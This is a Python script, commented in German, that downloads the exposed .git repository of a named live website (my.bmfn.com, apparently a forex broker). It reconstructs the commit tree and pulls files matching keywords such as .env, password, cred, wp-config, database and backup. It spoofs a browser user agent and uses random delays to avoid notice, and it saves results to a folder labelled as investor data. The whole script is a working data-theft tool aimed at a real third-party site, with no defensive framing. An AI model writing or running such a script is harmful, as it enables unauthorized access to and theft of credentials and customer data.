#!/usr/bin/env python3
# BMFN .git Full-Dump via dumb HTTP: Commit-Baum wandern, Objekte dosiert ziehen
import urllib.request as ur, zlib, time, random, os, sys, json

HOST = "https://my.bmfn.com/.git"
OUTDIR = "/home/marcel7364/investoren-daten/forex/dumps/bmfn_git"
os.makedirs(OUTDIR, exist_ok=True)
STATE = os.path.join(OUTDIR, "_state.json")
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/124.0 Safari/537.36"

state = {"done": {}, "queue": [], "files": {}}
if os.path.exists(STATE):
    state = json.load(open(STATE))

def fetch(path):
    rq = ur.Request(HOST + path, headers={"User-Agent": UA})
    with ur.urlopen(rq, timeout=25) as r:
        return r.read()

def get_obj(sha):
    p = f"/objects/{sha[:2]}/{sha[2:]}"
    return zlib.decompress(fetch(p))

def parse_tree(data):
    entries = []
    i = 0
    while i < len(data):
        sp = data.index(b" ", i)
        mode = data[i:sp].decode()
        nul = data.index(b"\0", sp)
        name = data[sp+1:nul].decode("utf-8", "replace")
        sha = data[nul+1:nul+21].hex()
        entries.append((mode, name, sha))
        i = nul + 21
    return entries

INTERESTING = (".env", "config", "database", "sql", "csv", "xlsx", "json", "secret", "cred", "password", "backup", "dump", "wp-config", "settings", "log", "schema", "blacklist", "mail", ".htaccess")

def queue_tree(sha, prefix):
    data = get_obj(sha)
    head_end = data.index(b"\0") + 1
    body = data[head_end:]
    for mode, name, esha in parse_tree(body):
        full = prefix + "/" + name if prefix else name
        if mode == "40000":
            state["queue"].append(["tree", esha, full])
        else:
            state["files"][full] = {"sha": esha, "mode": mode, "blob": False}
    state["done"][sha] = True

# Start: HEAD
head = fetch("/refs/heads/master").decode().strip()
if head not in state["done"]:
    commit = get_obj(head)
    commit = commit[commit.index(b"\0")+1:].decode("utf-8", "replace")
    print("COMMIT:\n", commit[:400])
    tree_sha = [l.split()[1] for l in commit.splitlines() if l.startswith("tree ")][0]
    queue_tree(tree_sha, "")
    state["done"][head] = True

# Erst alle Trees leeren (wenige Requests), Blobs nur bei Bedarf
rounds = 0
while state["queue"] and rounds < 4000:
    kind, sha, path = state["queue"].pop(0)
    if sha in state["done"]: continue
    try:
        queue_tree(sha, path)
    except Exception as e:
        print("TREE ERR", path, e)
    json.dump(state, open(STATE, "w"))
    time.sleep(random.uniform(0.25, 0.7))
    rounds += 1
    if rounds % 100 == 0: print(f"trees {rounds}, files {len(state['files'])}", flush=True)

json.dump(state, open(STATE, "w"))
print(f"TREES FERTIG: {len(state['files'])} Dateien im Baum")

# Blobs der interessanten Dateien ziehen
n = 0
interesting_files = {p: v for p, v in state["files"].items() if any(k in p.lower() for k in INTERESTING)}
print(f"{len(interesting_files)} interessante Dateien")
for p, v in interesting_files.items():
    if v.get("blob"): continue
    try:
        data = get_obj(v["sha"])
        outp = os.path.join(OUTDIR, p.replace("/", "__"))
        open(outp, "wb").write(data[data.index(b"\0")+1:])
        v["blob"] = True
        n += 1
        if n % 50 == 0: print(f"blobs {n}", flush=True)
    except Exception as e:
        print("BLOB ERR", p, e)
    json.dump(state, open(STATE, "w"))
    time.sleep(random.uniform(0.3, 0.8))
print(f"FERTIG: {n} Blobs gezogen")
